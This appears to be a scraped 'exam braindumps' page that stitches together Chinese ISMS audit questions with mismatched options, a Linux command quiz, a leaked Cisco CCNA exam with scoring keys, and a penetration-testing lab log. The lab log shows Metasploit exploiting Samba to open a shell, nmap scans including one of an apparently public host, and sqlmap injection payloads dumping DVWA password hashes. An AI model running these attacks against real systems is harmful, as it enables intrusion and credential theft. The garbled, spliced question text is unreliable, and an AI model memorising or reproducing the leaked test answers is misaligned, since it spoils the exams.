Exam1pass 000-Z01 exam braindumps free download

C、适当时，对相关方可用
D、定期更新
29、组织应（）。
A、对信息按照法律要求、价值、重要性及其对授权泄露或修改的敏感性进行分级
B、对信息按照制度要求、价值、有效性及其对授权泄露或修改的敏感性进行分级
C、对信息按照法律要求、价值、重要性及其对未授权泄露或修改的敏感性进行分级
D、对信息按照制度要求、价值、重要性及其对未授权泄露或修改的敏感性进行分级
A、体系覆盖的人数
B、使用的信息系统的数量
C、用户的数量
D、其他选项都正确
15、以下哪个选项不是ISMS第一阶段审核的目的（）
A、获取对组织信息安全管理体系的了解和认识
B、了解客户组织的审核准备状态
C、为计划2阶段审核提供重点
D、确认组织的信息安全管理体系符合标准或规范性文件的所有要求
16、ISMS不一定必须保留的文件化信息有()
A、备份介质中的数据应定期进行恢复测试
B、如果组织删减了“信息安全连续性”要求，同机备份或备份本地存放是可接受的
C、发现备份介质退化后应考虑数据迁移
D、备份信息不是管理体系运行记录，不须规定保存期
8、关于GB/T28450,以下说法正确的是(）。
A、增加了ISMS的审核指导
B、与ISO19011一致
C、风险评估和风险处理计划的更新
D、改进的建议
24、信息安全事态、事件和事故的关系是（）
A、事态一定是事件，事件一定是事故
B、事件一定是事故，事故一定是事态
C、事态一定是事故，事故一定是事件
D、事故一定是事件，事件一定是事态
25、下面哪一种环境控制措施可以保护计算机不受短期停电影响?（）
A、电力线路调节器
A、审核准备

Linux试卷操作题本试卷从考试酷examcoo网站导出，文件格式为mht，请用WORD/WPS打开，并另存为doc/docx格式后再使用试卷编号：1006551试卷录入者：snailnemo（郑州信息科技职业学院）试卷总分：120出卷时间：2019-12-28 18:05答题时间：90分钟二、操作题（根据题目要求写出相应的命令）1.创建一个目录，名称为exam并且进入这个目录中。

[2分]参考答案：mkdir exam cd exam2.拷贝a.txt到/home/user,生成复件命名为b.txt。

[2分]参考答案：cp a.txt /home/user/b.txt3.把 textfile1 的档案内容加上行号后输入 textfile2 这个档案里。

[2分]参考答案：cat -n textfile1 > textfile24.把 textfile1 和 textfile2 的档案内容加上行号（空白行不加）之后将内容附加到textfile3 里。

[2分]参考答案：cat -b textfile1 textfile2 >> textfile35.列出目前工作目录下所有名称是 s 开头的档案。

[2分]参考答案：ls s*6.逐页显示 testfile 之档案内容，如有连续两行以上空白行则以一行空白行显示。

[2分]参考答案：more -s testfile7.删除所有扩展名为.bak的文件；删除前逐一询问确认。

[2分]参考答案：rm -i *.bak8.在工作目录下的 BBB 目录中，建立一个名为 Test 的子目录。

若 BBB 目录原本不存在，则建立一个。

[2分]参考答案：mkdir -p BBB/Test9.添加一个student用户，然后再删除这个用户。

[2分]参考答案：useradd studentuserdel student10.将当前目录下所有.txt文件打包并压缩归档到文件this.tar.gz，再将当前目录下的this.tar.gz中的文件解压到当前目录。

Exam Viewer - ENetwork Final Exam - CCNA Exploration: Network Fundamentals (Version 4.0)(FormO-1a)Below you will find the assessment items as presented on the exam as well as the scoring rules associated with the item.Cisco Networking Academy content is copyrighted and the unauthorized posting, distribution or sharing of this exam content is prohibited.1When must a router serial interface be configured with the clock rate command?when the interface is functioning as a DTE devicewhen the interface timers have been clearedwhen the connected DTE device is shut downwhen the interface is functioning as a DCE deviceObservable DescriptionMaxValue1correctnessof response2 points for Option 40 points for any other option22Refer to the exhibit. A network technician is trying to determine the correct IP address configuration for Host AWhat is a valid configuration for Host A?IP address: 192.168.100.19; Subnet Mask: 255.255.255.248; Default Gateway: 192.16.1.2IP address: 192.168.100.20; Subnet Mask: 255.255.255.240; Default Gateway: 192.168.100.17IP address: 192.168.100.21; Subnet Mask: 255.255.255.248; Default Gateway: 192.168.100.18IP address: 192.168.100.22; Subnet Mask: 255.255.255.240; Default Gateway: 10.1.1.5IP address: 192.168.100.30; Subnet Mask: 255.255.255.240; Default Gateway: 192.168.1.1IP address: 192.168.100.31; Subnet Mask: 255.255.255.240; Default Gateway: 192.168.100.18 Observable Description Max Value1correctnessof response2 points for Option 20 points for any other option23Refer to the exhibit. What function does router RT_A need to provide to allow Internet access for hosts in thisnetwork?address translationDHCP servicesftpdweb serverObservable Description Max Value1correctnessof response2 points for Option 10 points for any other option24Refer to the exhibit. Host A attempts to establish a TCP/IP session with host C. During this attempt, a frame wa captured with the source MAC address 0050.7320.D632 and the destination MAC address 0030.8517.44C4. The packet inside the captured frame has an IP source address 192.168.7.5, and the destination IP address is 192.168.219.24. At which point in the network was this packet captured?leaving host Aleaving ATLleaving Dallasleaving NYCObservable Description MaxValue1correctnessof response2 points for Option 30 points for any other option25Which range of port numbers are reserved for services that are commonly used by applications that run on servers?0 to 2550 to 10231024 to 4915149152 to 65535Observable Description Max Value1correctness ofresponse2 points for Option 20 points for any other2option6Which prompt represents the appropriate mode used for the copy running-config startup-config command ?Switch-6J>Switch-6J#Switch-6J(config)#Switch-6J(config-if)#Switch-6J(config-line)#Observable Description Max Value1correctness ofresponse2 points for Option 20 points for any otheroption27Refer to the exhibit. A technician is working on a network problem that requires verification of the router LANinterface. What address should be pinged from this host to confirm that the router interface is operational?127.0.0.1192.168.64.196192.168.254.1192.168.254.9192.168.254.254Observable Description Max Value1correctnessof response2 points for Option 30 points for any other option28Refer to the exhibit. Host A is unable to reach host B on the remote network. A technician attempted to pingthe local gateway and the ping was successful. To verify the host configuration, the technician issued theipconfig command. What is the likely cause of the problem?The local NIC is incorrectly configured.The subnet mask on host A is incorrectly configured.The IP address on host A is incorrectly configured.The default gateway on host A is incorrectly configured.Observable Description Max Value1correctnessof response2 points for Option 40 points for any other option29An organization has been assigned network ID 10.10.128.0 and subnet mask 255.255.224.0. Which IP address range can be used for this organization?10.10.128.0 to 10.10.160.25510.10.128.0 to 10.10.159.25510.10.128.0 to 10.10.192.25510.10.128.0 to 10.10.0.15910.10.128.0 to 10.10.159.0Observable Description Max Value1correctness ofresponse2 points for Option 20 points for any otheroption210Refer to the exhibit. An employee wants to access the organization intranet from home. Which intermediarydevice should be used to connect the organization intranet to the Internet to enable this access?hubswitchrouterwireless access pointObservable Description Max Value1correctnessof response2 points for Option 30 points for any other option211Which OSI layer manages data segments?application layerpresentation layersession layertransport layerObservable Description Max Value1correctness ofresponse2 points for Option 40 points for any otheroption212Which two types of media can provide bandwidth up to 1 Gb/s? (Choose two.)10 BASE-T100 BASE-T100 BASE-FX1000 BASE-TX1000 BASE-SXObservable DescriptionMaxValue1correctness ofresponseOption 4 and Option 5 are correct.1 point for each correct option.0 points if more options are selected thanrequired.213To enhance security in a network, the network administrator uses these commands:Router(config)# line console 0Router(config-line)# password j1mdi2Router(config-line)# loginWhat two conclusions are evident from these commands? (Choose two.)Users who attempt to connect to the console port of the router must enter a password.The entries permit access through the console by the use of j1mdi2 as the password.The entries eliminate the need for authentication.Access through the console will be denied because the console configuration is incomplete.The entries prevent passwords from being displayed as plain text.Observable DescriptionMaxValue1correctness ofresponseOption 1 and Option 2 are correct.1 point for each correct option.0 points if more options are selected thanrequired.214Refer to the exhibit. RouterB is configured properly. The Ethernet interface Fa0/0 of RouterA is configuredwith the use of the commands that are shown. However, a ping from the Fa0/0 interface of RouterA to theFa0/0 interface of RouterB is unsuccessful. What action should be taken on RouterA to solve this problem?Use the description command on the FastEthernet interface Fa0/0.Configure the clock rate of the FastEthernet interface Fa0/0.Use the no shutdown command on the FastEthernet interface Fa0/0.Reboot the router.Observable Description Max Value1correctness ofresponse2 points for Option 30 points for any other option215Refer to the exhibit. When host A sends a frame addressed for host D, which hosts will receive the frame?only host Donly hosts A and Donly hosts B, C, and Dall hostsObservable Description Max Value1correctnessof response2 points for Option 10 points for any other option216Refer to the exhibit. Communication for hosts X and Y is restricted to the local network. What is the reasonfor this?Host X is assigned a network address.Host Y is assigned a multicast address.Host X and host Y belong to different networks.The gateway addresses are broadcast addresses.Observable Description Max Value1correctness ofresponse2 points for Option 40 points for any other option217 A user enters /web1.htm in the address line of a browser. Which statement is trueabout this transaction?The "http" portion indicates the protocol that is being used.The "web1.htm" portion is the specific service name.The retrieved web page will be displayed in URL code.The "" is the name of the web page file that is called.Observable Description Max Value1correctness ofresponse2 points for Option 10 points for any other option218The tracert 10.1.3.2 command was issued on computer A. Computer A can ping other addresses on the local Computer A sent the first ICMP packet toward computer B with a TTL value of 1. A protocol analyzer that was on computer B showed that the packet never reached its destination. Why did the packet not reach the destinaThere is a TCP/IP problem on computer A.There is a routing loop between R1 and R2.R1 does not have a route for the destination network.The TTL for the packet was decreased to zero by R1.Observable Description MaxValue1correctnessof response2 points for Option 40 points for any other option219 A routing issue has occurred in your internetwork. Which of the following type of devices should beexamined to isolate this error?access pointhosthubrouterswitchObservable Description Max Value1correctness ofresponse2 points for Option 40 points for any otheroption220Which physical component is used to access and perform the initial configuration on a new unconfigured router?Observable DescriptionMax Value1correctness of response 2 points for Option 2 0 points for any other option221What can the user do from the command prompt, Router(config-line)# ?Configure one of the network interfaces.Configure one of the physical or virtual lines.Verify the running configuration on the device.Configure the parameters for one of the routing protocols.ObservableDescriptionMax Value1correctness of response2 points for Option 2 0 points for any other option222Which option shows the PDU that contains the Layer 3 source and destination addressing for a packet?Observable Description Max Value1correctness ofresponse2 points for Option 30 points for any other option223Refer to the exhibit. The ping 127.0.0.1 command is issued on the local host. What do the ping resultsindicate?The local host can send packets on the local network.The TCP/IP stack on the local host operates properly.The local host has full connectivity to the default gateway.The local host has full connectivity to the remote network. Observable Description Max Value1correctnessof response2 points for Option 20 points for any other option224Which topology divides the collision domain and provides full media bandwidth to the hosts in the network?Observable Description Max Value1 correctness of response2 points for Option 30 points for any other option225Refer to the exhibit. Which option correctly identifies the network address, range of host addresses, and thebroadcast address for the network that contains host A?Observable Description Max Value1correctness ofresponse2 points for Option 30 points for any other option226 A technician is setting up a workgroup for six users and wants to allow users to share files without settinup a server. Which application layer protocol will provide for peer-to-peer file sharing in a workgroup?DNSSMBHTTPDHCPObservable Description Max Value1correctness of 2 points for Option 2 2response 0 points for any otheroption27Which router component will have contents erased when the command erase startup-config is issued?flashRAMROMNVRAMObservable Description Max Value1correctness ofresponse2 points for Option 40 points for any otheroption228Refer to the exhibit. Host1 is in the process of setting up a TCP session with Host2. Host1 has sent a SYNmessage to begin session establishment. What happens next?Host1 sends a segment with the ACK flag = 0, SYN flag = 0 to Host2.Host1 sends a segment with the ACK flag = 1, SYN flag = 0 to Host2.Host1 sends a segment with the ACK flag = 1, SYN flag = 1 to Host2.Host2 sends a segment with the ACK flag = 0, SYN flag = 1 to Host1.Host2 sends a segment with the ACK flag = 1, SYN flag = 0 to Host1.Host2 sends a segment with the ACK flag = 1, SYN flag = 1 to Host1.Observable Description Max Value1correctnessof response2 points for Option 60 points for any other option229How many host addresses may be assigned when using the 128.107.0.0 network address with a subnet mask of 255.255.248.0?302562046204840944096Observable Description Max Value1correctness ofresponse2 points for Option 30 points for any otheroption230Refer to the exhibit. Host A is able to access resources on the local LAN but is unable to access anyresources on the Internet. What is the likely cause of this problem?The host subnet mask in incorrect.The network uses private addresses.The host address is a network address.The default gateway is on a different subnet from the host.Observable Description Max Value1correctness ofresponse2 points for Option 40 points for any other option231What is described by the network access layer of the TCP/IP model?rules for packet acknowledgment, error recovery, and sequencingrules for the handoff from the internet layer to the network access protocolsrules for how source and destination hosts exchange data between programsrules for determining which processes can be used to route messages through an internetwork Observable DescriptionMax Value1correctness ofresponse2 points for Option 20 points for any otheroption232Which two factors contribute to the increased throughput when all nodes of a LAN are connected to a switch instead of a hub? (Choose two.)full-duplex operationcollision-free environmentlogical bus media accessbroadcast-free environmentpoint-to-multipoint topologyObservable DescriptionMaxValue1correctness ofresponseOption 1 and Option 2 are correct.1 point for each correct option.0 points if more options are selected thanrequired.233Which application layer protocol allows administrators to log into a server from remote locations and control a server as though logged in locally?DNSFTPDHCPSMTPTelnetObservable DescriptionMax Value1correctness ofresponse2 points for Option 50 points for any otheroption234 A network technician has made a UTP cable that is terminated as T568A on one end and T568B on theopposite end. What type of cable has been constructed?patchconsolecrossoverstraight-throughObservable Description Max Value1correctness ofresponse2 points for Option 30 points for any otheroption235Which application belongs to the category of the client/server model?using Telnet to access a routerexchanging information via instant messagingprinting a document to a locally connected printerscanning a document with a directly connected scanner Observable Description Max Value1correctness ofresponse2 points for Option 10 points for any otheroption236Refer to the exhibit. Which two layers of the OSI model describe the same functions as the transport andinternet layers of the TCP/IP model? (Choose two.)application layerpresentation layersession layertransport layernetwork layerdata link layerphysical layerObservable DescriptionMaxValue 1correctness of responseOption 4 and Option 5 are correct. 1 point for each correct option.0 points if more options are selected than required.237What command can be used to troubleshoot domain name resolution issues?getarp -a tracertnslookupObservable DescriptionMax Value1correctness of response 2 points for Option 4 0 points for any other option238Refer to the exhibit. For connecting two routers with an Ethernet crossover cable, which interface should be used?AB C DObservableDescription Max Value1correctness of response 2 points for Option 30 points for any other option239A technician is asked to secure the privileged EXEC mode of a switch by requiring a password. Whichtype of password would require this login and be considered the most secure?consoleenable enable secret VTYObservableDescriptionMax Value1correctness of response 2 points for Option 3 0 points for any other option240Which three addresses belong to the category of public IP addresses? (Choose three.)127.0.0.1196.1.105.6 132.11.9.99 10.0.0.1 172.16.9.10 46.1.1.97ObservableDescriptionMaxValue1correctness of responseOption 2, Option 3, and Option 6 are correct.1 point for each correct option.0 points if more options are selected than required.341A network administrator is configuring several switches for a network. The switches have similar configurations and only minor differences. The administrator wants to save all commands that are issued on the first switch to a text file for editing. Which transfer option should be selected in HyperTerminal?Observable Description MaxValue1correctnessof response2 points for Option 30 points for any other option242Which option represents a point-to-point logical topology diagram?Observable DescriptionMax Value1correctness ofresponse2 points for Option 40 points for any other option243Refer to the exhibit. What two facts can be determined from the session information that is displayed?(Choose two.)The protocol is a connection-oriented protocol.This exchange is part of the three-way handshake.The SYN flag is representing the initial establishment of a session.The destination port indicates that an FTP session has been initiated.The source port does not support communication with the destination port that is listed.Observable DescriptionMax Value1correctness ofresponseOption 1 and Option 2 are correct.1 point for each correct option.0 points if more options are selected thanrequired.244Which communication tool allows real-time collaboration?wikie-mailwebloginstant messagingObservable Description Max Value1correctness ofresponse2 points for Option 40 points for any otheroption245Which prompt is associated with the privileged exec mode?R1>R1#R1(config)#R1(config-router)#Observable Description Max Value1correctness ofresponse2 points for Option 20 points for any otheroption246What is the effect of the command copy running-config tftp?copies the configuration from a remote machine into RAMcopies the configuration from a remote machine into NVRAMcopies the configuration currently in RAM to a remote machinecopies the configuration currently in NVRAM to a remote machine Observable Description Max Value1correctness ofresponse2 points for Option 30 points for any otheroption247Refer to the exhibit. Which type of network design is shown?client/serverwide areadedicated serverpeer-to-peerObservable Description Max Value1correctnessof response2 points for Option 40 points for any other option248Refer to the exhibit. A network administrator remotely accesses the CLI of RouterB from PC1 using Telnet.Which statement is true about this connection?The data is automatically encrypted.A Telnet server process is running on PC1.The connection is made through a VTY session on the router.A GET request was sent to RouterB to retrieve data during this session.Observable Description Max Value1correctnessof response2 points for Option 30 points for any other option249Refer to the exhibit. A network technician wants to connect host A to the console of a Cisco switch to initializethe configuration. What type of cable is required for this connection?straight-through cablecrossover cablerollover cableserial cableObservable Description Max Value1correctness 2 points for Option 3 2of response 0 points for any other option50 A technician makes several changes to the running configuration on a router, but the desired results arenot achieved. The technician issues the reload command. What action will be taken by the router?All changes will be lost and the router will restart immediately.Changes will be saved automatically and the router will restart.The user will be prompted to save changes before the router restarts.The router will detect changes to the running configuration and will reload using the configurationstored in RAM.Observable Description Max Value1correctness ofresponse2 points for Option 30 points for any otheroption2。

渗透测试培训3月13日第一天：主要实验总结首先利用struts2漏洞，可以直接执行任意命令，取得主机控制权。

实验环境：KALI linux 作为攻击工具；owasp 作为靶机2003 metaspoitable 实现能够成功访问使用metaspliot完成对于靶机samba 服务的攻击，获取shell 权限search samba 查找模块Use multi/samba/usemap_script 选择渗透攻击模块Show payloads 查看与该渗透模块相兼容的攻击载荷Set payload cmd/unix/bind_netcat选择netcat工具在渗透攻击成功后执行shellShow options 查看需要设置的参数Set RHOST 10.10.10.254 设置主机攻击主机Exploit启动攻击1、首先安装vm虚拟机程序，开启kali，owasp和metaspoitalbe等工具和搭建环境，使得网络可达，网络配置上选择nat模式，地址范围为10.10.10.0/242、开启kali虚机，进入root模式，首先进入msfconsle，修改初始密码为123456msf〉> passwd[*] exec: passwd输入新的UNIX 密码：重新输入新的UNIX 密码：passwd：已成功更新密码然后寻找samba模块msf > search sambaMatching Modules================Name Disclosure Date Rank Description---- --------------- ---- ----------- auxiliary/admin/smb/samba_symlink_traversal normal Samba Symlink Directory Traversalauxiliary/dos/samba/lsa_addprivs_heap normal Samba lsa_io_privilege_set Heap Overflowauxiliary/dos/samba/lsa_transnames_heap normal Samba lsa_io_trans_names Heap Overflowauxiliary/dos/samba/read_nttrans_ea_list normal Samba read_nttrans_ea_list Integer Overflowexploit/freebsd/samba/trans2open 2003-04-07 great Samba trans2open Overflow (*BSD x86)exploit/linux/samba/chain_reply 2010-06-16 good Samba chain_reply Memory Corruption (Linux x86)exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Samba lsa_io_trans_names Heap Overflowexploit/linux/samba/setinfopolicy_heap 2012-04-10 normal Samba SetInformationPolicy AuditEventsInfo Heap Overflowexploit/linux/samba/trans2open 2003-04-07 great Samba trans2open Overflow (Linux x86)exploit/multi/samba/nttrans 2003-04-07 average Samba 2.2.2 - 2.2.6 nttrans Buffer Overflowexploit/multi/samba/usermap_script 2007-05-14 excellent Samba "username map script" Command Executionexploit/osx/samba/lsa_transnames_heap 2007-05-14 average Samba lsa_io_trans_names Heap Overflowexploit/osx/samba/trans2open 2003-04-07 great Samba trans2open Overflow (Mac OS X PPC)exploit/solaris/samba/lsa_transnames_heap 2007-05-14 average Samba lsa_io_trans_names Heap Overflowexploit/solaris/samba/trans2open 2003-04-07 great Samba trans2open Overflow (Solaris SPARC)exploit/unix/misc/distcc_exec 2002-02-01 excellent DistCC Daemon Command Executionexploit/unix/webapp/citrix_access_gateway_exec 2010-12-21 excellent Citrix Access Gateway Command Executionexploit/windows/http/sambar6_search_results 2003-06-21 normal Sambar 6 Search Results Buffer Overflowexploit/windows/license/calicclnt_getconfig 2005-03-02 average Computer Associates License Client GETCONFIG Overflowpost/linux/gather/enum_configs normal Linux Gather Configurationsmsf > use multi/samba/usermap_script 选择渗透攻击模块msf exploit(usermap_script) > show payloads 查看与该渗透模块相兼容的攻击载荷Compatible Payloads===================Name Disclosure Date Rank Description---- --------------- ---- -----------cmd/unix/bind_awk normal Unix Command Shell, Bind TCP (via AWK)cmd/unix/bind_inetd normal Unix Command Shell, Bind TCP (inetd)cmd/unix/bind_lua normal Unix Command Shell, Bind TCP (via Lua)cmd/unix/bind_netcat normal Unix Command Shell, Bind TCP (via netcat)cmd/unix/bind_netcat_gaping normal Unix Command Shell, Bind TCP (via netcat -e)cmd/unix/bind_netcat_gaping_ipv6 normal Unix Command Shell, Bind TCP (via netcat -e) IPv6cmd/unix/bind_perl normal Unix Command Shell, Bind TCP (via Perl)cmd/unix/bind_perl_ipv6 normal Unix Command Shell, Bind TCP (via perl) IPv6cmd/unix/bind_ruby normal Unix Command Shell, Bind TCP (via Ruby)cmd/unix/bind_ruby_ipv6 normal Unix Command Shell, Bind TCP (via Ruby) IPv6cmd/unix/bind_zsh normal Unix Command Shell, Bind TCP (via Zsh)cmd/unix/generic normal Unix Command, Generic Command Executioncmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)cmd/unix/reverse_awk normal Unix Command Shell, Reverse TCP (via AWK)cmd/unix/reverse_lua normal Unix Command Shell, Reverse TCP (via Lua)cmd/unix/reverse_netcat normal Unix Command Shell, Reverse TCP (via netcat)cmd/unix/reverse_netcat_gaping normal Unix Command Shell, Reverse TCP (via netcat -e)cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)cmd/unix/reverse_perl normal Unix Command Shell, Reverse TCP (via Perl)cmd/unix/reverse_perl_ssl normal Unix Command Shell, Reverse TCP SSL (via perl)cmd/unix/reverse_php_ssl normal Unix Command Shell, Reverse TCP SSL (via php)cmd/unix/reverse_python normal Unix Command Shell, Reverse TCP (via Python)cmd/unix/reverse_python_ssl normal Unix Command Shell, Reverse TCP SSL (via python)cmd/unix/reverse_ruby normal Unix Command Shell, Reverse TCP (via Ruby)cmd/unix/reverse_ruby_ssl normal Unix Command Shell, Reverse TCP SSL (via Ruby)cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)cmd/unix/reverse_zsh normal Unix Command Shell, Reverse TCP (via Zsh)msf exploit(usermap_script) > set payload cmd/unix/bind_netcat 选择netcat工具在渗透攻击成功后执行shellpayload => cmd/unix/bind_netcatmsf exploit(usermap_script) > show options 查看需要设置的参数msf exploit(usermap_script) > set RHOST 10.10.10.254设置主机攻击主机RHOST => 10.10.10.254msf exploit(usermap_script) > exploit启动攻击[*] Started bind handler[*] Command shell session 1 opened (10.10.10.128:56558 -> 10.10.10.254:4444) at 2015-03-13 16:06:40 +0800已经取得10.10.10.254机子的控制权，可以增加用户useradd test 用户增加成功&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 存活探测-PU -sn UDP ping不列服务，-Pn不适用pingnmap -sS -Pn xx.xx.xx.xx tcp syn 扫描不发送icmpnamp -sV -Pn xx.xx.xx.xx 列出服务详细信息namp -PO -script=smb-check-vulns xx.xx.xx.xx 查找ms-08067漏洞&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&nmap 网站扫描msf > nmapmsf > nmap -sV -Pn 10.10.10.254[*] exec: nmap -sV -Pn 10.10.10.254Starting Nmap 6.46 ( ) at 2015-03-13 16:38 CSTNmap scan report for 10.10.10.254Host is up (0.00020s latency).All 1000 scanned ports on 10.10.10.254 are filteredMAC Address: 00:50:56:E7:1B:31 (VMware)Service detection performed. Please report any incorrect results at /submit/ . Nmap done: 1 IP address (1 host up) scanned in 22.84 secondsmsf > nmap -PO -script=smb-check-vulns 10.10.10.254[*] exec: nmap -PO -script=smb-check-vulns 10.10.10.254Starting Nmap 6.46 ( ) at 2015-03-13 16:47 CSTNmap scan report for 10.10.10.254Host is up (0.00021s latency).All 1000 scanned ports on 10.10.10.254 are filteredMAC Address: 00:50:56:E7:1B:31 (VMware)map done: 1 IP address (1 host up) scanned in 23.06 seconds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%msf > nmap -O [*] exec: nmap -O Starting Nmap 6.46 ( ) at 2015-03-13 17:16 CSTNmap scan report for (211.100.35.132)Host is up (0.0054s latency).Not shown: 999 filtered portsPORT STATE SERVICE80/tcp open httpWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portAggressive OS guesses: Brother MFC-7820N printer (94%), Digi Connect ME serial-to-Ethernet bridge (94%), Netgear SC101 Storage Central NAS device (91%), ShoreTel ShoreGear-T1 VoIP switch (91%), Aastra 480i IP Phone or Sun Remote System Control (RSC) (91%), Aastra 6731i VoIP phone or Apple AirPort Express WAP (91%), Cisco Wireless IP Phone 7920-ETSI (91%), GoPro HERO3 camera (91%), Konica Minolta bizhub 250 printer (91%), Linux 2.4.26 (Slackware 10.0.0) (86%)No exact OS matches for host (test conditions non-ideal).OS detection performed. Please report any incorrect results at /submit/ .Nmap done: 1 IP address (1 host up) scanned in 57.88 secondsmsf > use auxiliary/scanner/http/dir_scannermsf auxiliary(dir_scanner) > set THREADS 50THREADS => 50msf auxiliary(dir_scanner) > set RHOSTS RHOSTS => msf auxiliary(dir_scanner) > run[*] Detecting error code[*] Detecting error code[*] Scanned 2 of 2 hosts (100% complete)[*] Auxiliary module execution completedsqlmap 检查sql注入的漏洞root@kali:~# sqlmaproot@kali:~# sqlmap -u "http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=lu1d2nfdvfkgkc8fa628c0vh23"带cookie的方式查出这个网站数据库的用户和密码sqlmap/1.0-dev - automatic SQL injection and database takeover tool[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 11:50:20[11:50:20] [INFO] testing connection to the target URL[11:50:20] [INFO] testing if the target URL is stable. This can take a couple of seconds[11:50:21] [INFO] target URL is stable[11:50:21] [INFO] testing if GET parameter 'id' is dynamic[11:50:21] [INFO] confirming that GET parameter 'id' is dynamic[11:50:21] [INFO] GET parameter 'id' is dynamic[11:50:21] [INFO] heuristics detected web page charset 'ascii'[11:50:21] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')[11:50:21] [INFO] testing for SQL injection on GET parameter 'id'heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] ydo you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] y [11:50:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[11:50:25] [WARNING] reflective value(s) found and filtering out[11:50:25] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable[11:50:25] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'[11:50:25] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable[11:50:25] [INFO] testing 'MySQL inline queries'[11:50:25] [INFO] testing 'MySQL > 5.0.11 stacked queries'[11:50:25] [WARNING] time-based comparison requires larger statistical model, please wait...........[11:50:25] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'[11:50:25] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'[11:50:36] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 AND time-based blind' injectable[11:50:36] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'[11:50:36] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found[11:50:36] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test[11:50:36] [INFO] target URL appears to have 2 columns in query[11:50:36] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection points with a total of 41 HTTP(s) requests:---Place: GETParameter: idType: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1' AND 4334=4334 AND 'iasX'='iasX&Submit=SubmitType: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE or HAVING clausePayload: id=1' AND (SELECT 4941 FROM(SELECT COUNT(*),CONCAT(0x71626e6f71,(SELECT (CASE WHEN (4941=4941) THEN 1 ELSE 0 END)),0x7163716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'zAHU'='zAHU&Submit=SubmitType: UNION queryTitle: MySQL UNION query (NULL) - 2 columnsPayload: id=1' UNION ALL SELECT NULL,CONCAT(0x71626e6f71,0x4b497150534967787451,0x7163716271)#&Submit=SubmitType: AND/OR time-based blindTitle: MySQL > 5.0.11 AND time-based blindPayload: id=1' AND SLEEP(5) AND 'xfNp'='xfNp&Submit=Submit---[11:50:40] [INFO] the back-end DBMS is MySQLweb server operating system: Linux Ubuntu 10.04 (Lucid Lynx)web application technology: PHP 5.3.2, Apache 2.2.14back-end DBMS: MySQL 5.0[11:50:40] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/10.10.10.129'[*] shutting down at 11:50:40root@kali:~# sqlmap -u "http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=lu1d2nfdvfkgkc8fa628c0vh23" -p id --dbs可以看出返回数据库为：[11:53:32] [WARNING] reflective value(s) found and filtering outavailable databases [2]:[*] dvwa[*] information_schemaroot@kali:~# sqlmap -u "http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=lu1d2nfdvfkgkc8fa628c0vh23" -p id -D dvwa --tables查看dvwa数据库Database: dvwa[2 tables]+-----------+| guestbook || users |+-----------+root@kali:~# sqlmap -u "http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=lu1d2nfdvfkgkc8fa628c0vh23" -p id -D dvwa -T users --columnsDatabase: dvwaTable: users[6 columns]+------------+-------------+| Column | Type |+------------+-------------+| user | varchar(15) || avatar | varchar(70) || first_name | varchar(15) || last_name | varchar(15) || password | varchar(32) || user_id | int(6) |+------------+-------------+root@kali:~# sqlmap -u "http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=lu1d2nfdvfkgkc8fa628c0vh23" -p id -D dvwa -T users -C user,password --dumpDatabase: dvwaTable: users[5 entries]+---------+--------------------------------------------+| user | password |+---------+--------------------------------------------+| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) || admin | 21232f297a57a5a743894a0e4a801fc3 (admin) || gordonb | e99a18c428cb38d5f260853678922e03 (abc123) || pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 || smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |+---------+--------------------------------------------+可以看出用户名为admin 密码是admin成功2day&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&情报收集whois 域名注册信息查询。